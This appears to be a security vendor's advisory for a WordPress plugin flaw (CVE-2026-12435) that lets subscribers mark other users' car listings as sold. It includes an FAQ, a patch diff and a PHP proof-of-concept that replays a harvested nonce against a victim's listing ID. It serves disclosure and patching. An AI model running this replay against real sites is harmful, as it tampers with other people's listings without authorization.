What is CVE-2026-12435?

CVE-2026-12435 is a missing authorization vulnerability in the Motors Car Dealership and Classified Listings plugin for WordPress, affecting versions up to and including 1.4.111. It allows authenticated attackers with subscriber-level access or higher to mark or unmark any other user’s car listing as sold without proper authorization.

How does the vulnerability work?

The vulnerability exists in the function handling the stm_mark_as_sold_car and stm_unmark_as_sold_car parameters. The code only verifies a nonce and post type but does not check if the current user owns the target listing. An attacker can harvest a valid nonce from their own listing and replay it against another user’s post ID to modify the sold status.

Who is affected by this vulnerability?

Any WordPress site running the Motors plugin version 1.4.111 or earlier is affected. Attackers must have an authenticated account with at least subscriber-level access and must have their own listing to obtain a valid nonce. Site administrators should verify their plugin version and update if necessary.

How can I check if my site is vulnerable?

Check the Motors plugin version in the WordPress admin dashboard under Plugins. If the version is 1.4.111 or lower, your site is vulnerable. You can also review the file motors-car-dealership-classified-listings/includes/vehicle_functions.php for the missing authorization check around line 2416.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.3, classified as Medium severity. This indicates a moderate risk where an authenticated attacker can cause limited harm by altering listing statuses, but no data exposure or privilege escalation occurs.

What is the practical impact of this vulnerability?

An attacker can silently add a Sold badge to any car listing, potentially harming the listing’s visibility and the seller’s reputation. Additionally, the special_car featured post meta is stripped as a side effect, which may affect listing display. No sensitive data is exposed or stolen.

How do I fix or mitigate this vulnerability?

Update the Motors plugin to version 1.4.112 or later, which adds proper ownership verification and input sanitization. As a temporary mitigation, you can disable the plugin or restrict subscriber-level users from creating listings, but updating is the recommended solution.

What does the patch change?

The patch adds a check to verify that the current user is either an administrator or the owner of the target listing before allowing the sold meta update. It also sanitizes the post ID with intval and ensures the post type is valid. The ownership check uses the stm_car_user meta or post author.

How does the proof of concept demonstrate the issue?

The PoC script harvests a nonce from the attacker’s own listing by requesting a URL with stm_mark_as_sold_car set to their listing ID. It then replays that nonce against a victim’s listing ID to mark it as sold. This shows that the nonce is not bound to a specific post, enabling cross-listing manipulation.

Can this vulnerability be exploited without a listing?

No, the attacker must have an active listing of their own to harvest a valid nonce. Subscriber-level users can create listings via the plugin’s add-listing form, making it feasible for them to obtain the necessary nonce. Without a listing, the attacker cannot generate the required nonce.

What is the root cause of this vulnerability?

The root cause is missing authorization checks in the function that handles mark-as-sold actions. The code relied solely on nonce verification, but the nonce was not tied to a specific post ID, allowing replay attacks. Proper ownership verification was absent, enabling arbitrary post meta modification.

Are there any other vulnerabilities in this disclosure?

The disclosure focuses solely on CVE-2026-12435. No other vulnerabilities were reported in this analysis. However, administrators should always keep plugins updated to protect against known and unknown issues.

Published : June 30, 2026

CVE-2026-12435: Motors <= 1.4.111 Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Meta Modification via 'stm_mark_as_sold_car' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-12435

Plugin motors-car-dealership-classified-listings

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 1.4.111

Patched Version 1.4.112

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12435: This vulnerability affects the Motors – Car Dealership & Classified Listings Plugin for WordPress, up to and including version 1.4.111. It allows authenticated attackers with subscriber-level access to mark or unmark any other user’s car listing as sold. The CVSS score is 4.3.

The root cause is in the file motors-car-dealership-classified-listings/includes/vehicle_functions.php. The function handling the ‘stm_mark_as_sold_car’ and ‘stm_unmark_as_sold_car’ parameters (lines 2411-2421) did not verify that the current user owned the target listing. The code only checked the nonce and post type, allowing an attacker to reuse a nonce harvested from their own listing against another user’s post ID. The missing authorization check at line 2416 allowed arbitrary post meta modification via update_post_meta( $post_id, ‘car_mark_as_sold’, … ).

Exploitation requires the attacker to have an active listing of their own. They can harvest a valid nonce by inspecting their own listing’s mark-as-sold link (which contains stm_mark_as_sold_car= their_post_id and _wpnonce). They then craft a URL to a victim’s listing post: /path/?stm_mark_as_sold_car= victim_post_id &_wpnonce= harvested_nonce. This sends the request to the vulnerable code path which validates the nonce against the attacker’s original action, not the victim’s action.

The patch adds explicit ownership verification before allowing the sold meta update. At line 2426-2428, the patch checks if the current user can manage_options (administrator) or if the stm_car_user meta matches the current user’s ID. Only then is the update_post_meta call executed. Additionally, the patch adds input sanitization (intval) for the post ID parameter.

The impact is that an attacker can silently modify any car listing’s sold status. This adds a ‘Sold’ badge to the victim’s listing and, as a side effect, strips the special_car featured post meta. This can harm the victim’s listing visibility and reputation. No data is exposed or stolen.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/motors-car-dealership-classified-listings/includes/vehicle_functions.php
+++ b/motors-car-dealership-classified-listings/includes/vehicle_functions.php
@@ -1822,11 +1822,14 @@

 if ( ! function_exists( 'stm_current_user_can_manage_listing_media' ) ) {
 	function stm_current_user_can_manage_listing_media( $post_id ) {
+		$post_id = absint( $post_id );
+
 		if ( ! is_user_logged_in() || empty( $post_id ) ) {
 			return false;
 		}

-		if ( ! in_array( get_post_type( $post_id ), stm_add_a_car_listing_post_types(), true ) ) {
+		$post = get_post( $post_id );
+		if ( ! $post || ! in_array( $post->post_type, stm_add_a_car_listing_post_types(), true ) ) {
 			return false;
 		}

@@ -1836,6 +1839,10 @@

 		$listing_user_id = absint( get_post_meta( $post_id, 'stm_car_user', true ) );

+		if ( ! $listing_user_id ) {
+			$listing_user_id = absint( $post->post_author );
+		}
+
 		return $listing_user_id && absint( get_current_user_id() ) === $listing_user_id;
 	}
 }
@@ -1890,6 +1897,11 @@
 			exit;
 		}

+		if ( ! in_array( get_post_type( $post_id ), stm_add_a_car_listing_post_types(), true ) ) {
+			wp_send_json( array( 'message' => esc_html__( 'You are not allowed to manage media for this post.', 'stm_vehicles_listing' ) ) );
+			exit;
+		}
+
 		$user_id  = get_current_user_id();
 		$updating = $post_id && get_post_meta( $post_id, 'is_listing_updating', true );

@@ -2411,8 +2423,11 @@
 			}

 			if ( ( isset( $_GET['stm_unmark_as_sold_car'] ) && wp_verify_nonce( $_GET['_wpnonce'], 'stm_unmark_as_sold_car' ) ) || ( isset( $_GET['stm_mark_as_sold_car'] ) && wp_verify_nonce( $_GET['_wpnonce'], 'stm_mark_as_sold_car' ) ) ) {
-				$post_id = ( isset( $_GET['stm_unmark_as_sold_car'] ) ) ? $_GET['stm_unmark_as_sold_car'] : $_GET['stm_mark_as_sold_car'];
-				if ( in_array( get_post_type( $post_id ), $listings_post_types, true ) ) {
+				$post_id = ( isset( $_GET['stm_unmark_as_sold_car'] ) ) ? intval( $_GET['stm_unmark_as_sold_car'] ) : intval( $_GET['stm_mark_as_sold_car'] );
+				$author  = get_post_meta( $post_id, 'stm_car_user', true );
+				$user    = wp_get_current_user();
+
+				if ( ( current_user_can( 'manage_options' ) || ( ! empty( $author ) && intval( $user->ID ) !== 0 && intval( $author ) === intval( $user->ID ) ) ) && in_array( get_post_type( $post_id ), $listings_post_types, true ) ) {
 					update_post_meta( $post_id, 'car_mark_as_sold', isset( $_GET['stm_mark_as_sold_car'] ) ? 'on' : '' );
 				}
 			}
--- a/motors-car-dealership-classified-listings/stm_vehicles_listing.php
+++ b/motors-car-dealership-classified-listings/stm_vehicles_listing.php
@@ -8,7 +8,7 @@
  * License: GNU General Public License v2 or later
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: stm_vehicles_listing
- * Version: 1.4.111
+ * Version: 1.4.112
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -50,7 +50,7 @@
 	define( 'STM_LISTINGS_URL', plugins_url( '', STM_LISTINGS_FILE ) );
 	define( 'STM_LISTINGS', 'stm_vehicles_listing' );
 	define( 'STM_THEME_V_NEED', '5.6.33' );
-	define( 'STM_LISTINGS_V', '1.4.111' );
+	define( 'STM_LISTINGS_V', '1.4.112' );
 	define( 'STM_LISTINGS_DB_VERSION', '1.0.0' );
 	define( 'STM_LISTINGS_IMAGES', STM_LISTINGS_URL . '/includes/admin/butterbean/images/' );
 }
--- a/motors-car-dealership-classified-listings/templates/button-go-pro.php
+++ b/motors-car-dealership-classified-listings/templates/button-go-pro.php
@@ -188,8 +188,8 @@
 }

 $freemius_info = get_freemius_info();
-$start_date    = new DateTime( '2026-03-16 00:00:00' );
-$deadline      = new DateTime( '2026-03-22 23:59:00' );
+$start_date    = new DateTime( '2026-06-22 00:00:00' );
+$deadline      = new DateTime( '2026-06-28 23:59:00' );
 $current_time  = time();
 $is_promotion  = $current_time >= $start_date->format('U') && $current_time < $deadline->format('U'); //phpcs:ignore
 $only_annual   = true;
@@ -229,7 +229,7 @@
 					<?php endif; ?>
 				</p>
 				<?php if ( $is_promotion ) : ?>
-					<div class="stm-discount"><a href="<?php echo esc_url( 'https://stylemixthemes.com/car-dealer-plugin/pricing/?utm_source=wpadmin&utm_medium=push&utm_campaign=motors&utm_content=gopro&utm_term=springsale2026&plugin_coupon=SPRING26' ); ?>" target="_blank"></a></div>
+					<div class="stm-discount"><a href="<?php echo esc_url( 'https://stylemixthemes.com/car-dealer-plugin/pricing/?utm_source=wpadmin&utm_medium=push&utm_campaign=motors&utm_content=gopro&utm_term=summersale2026&plugin_coupon=MIDSUMMER26' ); ?>" target="_blank"></a></div>
 				<?php endif; ?>
 			</div>
 			<?php if ( isset( $freemius_info['plan'] ) ) : ?>
@@ -331,7 +331,7 @@
 									$lifetime_url = $base_url . '&utm_medium=' . $utm_medium . '&billing_cycle=lifetime';
 									$coupon       = '';
 									if ( $is_promotion ) {
-										$coupon .= '&plugin_coupon=SPRING26';
+										$coupon .= '&plugin_coupon=MIDSUMMER26';
 									}
 									$annual_url  .= $coupon;
 									?>
--- a/motors-car-dealership-classified-listings/vendor/composer/installed.php
+++ b/motors-car-dealership-classified-listings/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'motors_vehicles_listing/plugin',
         'pretty_version' => 'dev-release',
         'version' => 'dev-release',
-        'reference' => 'ca7d9a1b7a5d9946a13fc9bdfc8a4251238dcf15',
+        'reference' => '2eff37527d891ad39dd46f679e40e4648f8b6b7e',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'motors_vehicles_listing/plugin' => array(
             'pretty_version' => 'dev-release',
             'version' => 'dev-release',
-            'reference' => 'ca7d9a1b7a5d9946a13fc9bdfc8a4251238dcf15',
+            'reference' => '2eff37527d891ad39dd46f679e40e4648f8b6b7e',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12435 - Missing Authorization to Authenticated Arbitrary Post Meta Modification

// Configuration - Set these variables
$target_url = 'http://example.com'; // Target WordPress site URL
$cookie_file = '/tmp/cookies.txt';  // Path to cookie file with authenticated session (subscriber+)

// Step 1: The attacker must have their own listing to harvest a nonce.
// This script assumes you have a valid listing ID for the authenticated user.
// Replace 'YOUR_LISTING_ID' with an actual post ID belonging to the attacker.
$attacker_listing_id = 'YOUR_LISTING_ID';

// Step 2: Victim listing ID - the target car listing to mark as sold
$victim_listing_id = 'VICTIM_LISTING_ID';

// Step 3: Harvest the nonce from the attacker's own listing
// The plugin generates URLs like: /?stm_mark_as_sold_car={attacker_id}&_wpnonce={nonce}
$harvest_url = $target_url . '/?stm_mark_as_sold_car=' . $attacker_listing_id . '&_wpnonce=1';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $harvest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from response (the link will redirect and the nonce is in URL)
// In a real exploit, you'd extract the nonce from the page HTML.
// For this PoC, we assume you have the nonce via manual inspection.
$nonce = 'YOUR_HARVESTED_NONCE'; // Replace with actual nonce string

// Step 4: Exploit - Send the victim's post ID with the attacker's nonce
$exploit_url = $target_url . '/?stm_mark_as_sold_car=' . $victim_listing_id . '&_wpnonce=' . urlencode($nonce);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit payload sent. Check victim listing for 'Sold' badge.n";
echo "Target URL: " . $exploit_url . "n";
?>

Frequently Asked Questions

What is CVE-2026-12435?
Vulnerability overview
CVE-2026-12435 is a missing authorization vulnerability in the Motors Car Dealership and Classified Listings plugin for WordPress, affecting versions up to and including 1.4.111. It allows authenticated attackers with subscriber-level access or higher to mark or unmark any other user’s car listing as sold without proper authorization.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in the function handling the stm_mark_as_sold_car and stm_unmark_as_sold_car parameters. The code only verifies a nonce and post type but does not check if the current user owns the target listing. An attacker can harvest a valid nonce from their own listing and replay it against another user’s post ID to modify the sold status.
Who is affected by this vulnerability?
Affected users and sites
Any WordPress site running the Motors plugin version 1.4.111 or earlier is affected. Attackers must have an authenticated account with at least subscriber-level access and must have their own listing to obtain a valid nonce. Site administrators should verify their plugin version and update if necessary.
How can I check if my site is vulnerable?
Detection steps
Check the Motors plugin version in the WordPress admin dashboard under Plugins. If the version is 1.4.111 or lower, your site is vulnerable. You can also review the file motors-car-dealership-classified-listings/includes/vehicle_functions.php for the missing authorization check around line 2416.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.3, classified as Medium severity. This indicates a moderate risk where an authenticated attacker can cause limited harm by altering listing statuses, but no data exposure or privilege escalation occurs.
What is the practical impact of this vulnerability?
Real-world consequences
An attacker can silently add a Sold badge to any car listing, potentially harming the listing’s visibility and the seller’s reputation. Additionally, the special_car featured post meta is stripped as a side effect, which may affect listing display. No sensitive data is exposed or stolen.
How do I fix or mitigate this vulnerability?
Patch and workarounds
Update the Motors plugin to version 1.4.112 or later, which adds proper ownership verification and input sanitization. As a temporary mitigation, you can disable the plugin or restrict subscriber-level users from creating listings, but updating is the recommended solution.
What does the patch change?
Code fix details
The patch adds a check to verify that the current user is either an administrator or the owner of the target listing before allowing the sold meta update. It also sanitizes the post ID with intval and ensures the post type is valid. The ownership check uses the stm_car_user meta or post author.
How does the proof of concept demonstrate the issue?
PoC explanation
The PoC script harvests a nonce from the attacker’s own listing by requesting a URL with stm_mark_as_sold_car set to their listing ID. It then replays that nonce against a victim’s listing ID to mark it as sold. This shows that the nonce is not bound to a specific post, enabling cross-listing manipulation.
Can this vulnerability be exploited without a listing?
Exploitation prerequisites
No, the attacker must have an active listing of their own to harvest a valid nonce. Subscriber-level users can create listings via the plugin’s add-listing form, making it feasible for them to obtain the necessary nonce. Without a listing, the attacker cannot generate the required nonce.
What is the root cause of this vulnerability?
Underlying issue
The root cause is missing authorization checks in the function that handles mark-as-sold actions. The code relied solely on nonce verification, but the nonce was not tied to a specific post ID, allowing replay attacks. Proper ownership verification was absent, enabling arbitrary post meta modification.
Are there any other vulnerabilities in this disclosure?
Additional findings
The disclosure focuses solely on CVE-2026-12435. No other vulnerabilities were reported in this analysis. However, administrators should always keep plugins updated to protect against known and unknown issues.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started